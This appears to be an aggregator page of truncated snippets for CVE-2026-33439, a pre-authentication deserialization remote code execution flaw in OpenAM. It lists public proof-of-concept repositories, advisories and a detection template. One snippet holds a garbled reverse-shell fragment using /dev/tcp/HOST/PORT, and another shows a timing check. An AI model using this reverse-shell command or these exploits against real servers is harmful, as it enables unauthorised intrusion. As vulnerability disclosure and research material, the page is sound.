CVE-2026-33439

🐞 CVE-2026-33439: OpenAM Pre-Auth RCE via jato.clientSession Deserialization Human insight + AI-assisted analysis + reverse engineering + advisory → exploit First publicly shared exploit implementation for CVE-2026-33439 Unauthenticated Java deserialization vulnerability in ForgeRock OpenAM...

CVE-2026-33439-Poc

CVE-2026-33439 Pre-auth RCE in OpenIdentityPlatform OpenAM via unsafe Java deserialization of the jato.clientSession parameter. Affected & /dev/tcp/HOST/PORT 0&1' Output is blind. The request blocks until the command exits, so timing confirms execution --command 'sleep 5' takes about 5s. For...

CVE-2026-33439-PoC

CVE-2026-33439 — OpenAM Pre-Auth RCE Pre-authentication Remote Code Execution in OpenIdentityPlatform OpenAM = 16.0.5 via unsafe Java deserialization of the jato.clientSession parameter CVSS 9.8. For authorized security testing only. Quick Start 1. Build payload downloads JARs from Maven Central ...

Exploit for Deserialization of Untrusted Data in Openidentityplatform Openam

CVE-2026-33439 — clean-room OpenAM PoC This package rebuilds...

OpenAM Pre-Auth Deserialization RCE (CVE-2026-33439)

Exploits CVE-2026-33439 in OpenAM = 16.0.5: unsafe Java deserialization of jato.clientSession on password reset endpoints bypasses the WhitelistObjectInputStream mitigation applied to jato.pageSession. !/usr/bin/env python3 -- coding: utf-8 -- """OpenAM jato.clientSession deserialization RCE...

Exploit for Deserialization of Untrusted Data in Openidentityplatform Openam

CVE-2026-33439 Pre-auth RCE in OpenIdentityPlatform OpenAM vi...

OpenAM <= 16.0.5 - Pre-Auth RCE via jato.clientSession Deserialization Detection

Open Access Management OpenAM is an access management solution. Prior to 16.0.6, OpenIdentityPlatform OpenAM is vulnerable to pre-authentication Remote Code Execution RCE via unsafe Java deserialization of the jato.clientSession HTTP parameter. This bypasses the WhitelistObjectInputStream...

Pre-Authentication Remote Code Execution (RCE)

org.openidentityplatform.openam, openam is vulnerable to pre-authentication remote code execution RCE. The vulnerability is due to improper validation of serialized objects in the jato.clientSession HTTP parameter, which allows an unauthenticated attacker to execute arbitrary commands on the serv...

CVE-2026-33439 Pre-Authentication Remote Code Execution via `jato.clientSession` Deserialization in OpenAM

Open Access Management OpenAM is an access management solution. Prior to 16.0.6, OpenIdentityPlatform OpenAM is vulnerable to pre-authentication Remote Code Execution RCE via unsafe Java deserialization of the jato.clientSession HTTP parameter. This bypasses the WhitelistObjectInputStream...

CVE-2026-33439

Open Access Management OpenAM is an access management solution. Prior to 16.0.6, OpenIdentityPlatform OpenAM is vulnerable to pre-authentication Remote Code Execution RCE via unsafe Java deserialization of the jato.clientSession HTTP parameter. This bypasses the WhitelistObjectInputStream...

CVE-2026-33439: Deserialization of Untrusted Data

Open Access Management OpenAM is an access management solution. Prior to 16.0.6, OpenIdentityPlatform OpenAM is vulnerable to pre-authentication Remote Code Execution RCE via unsafe Java deserialization of the jato.clientSession HTTP parameter. This bypasses the WhitelistObjectInputStream...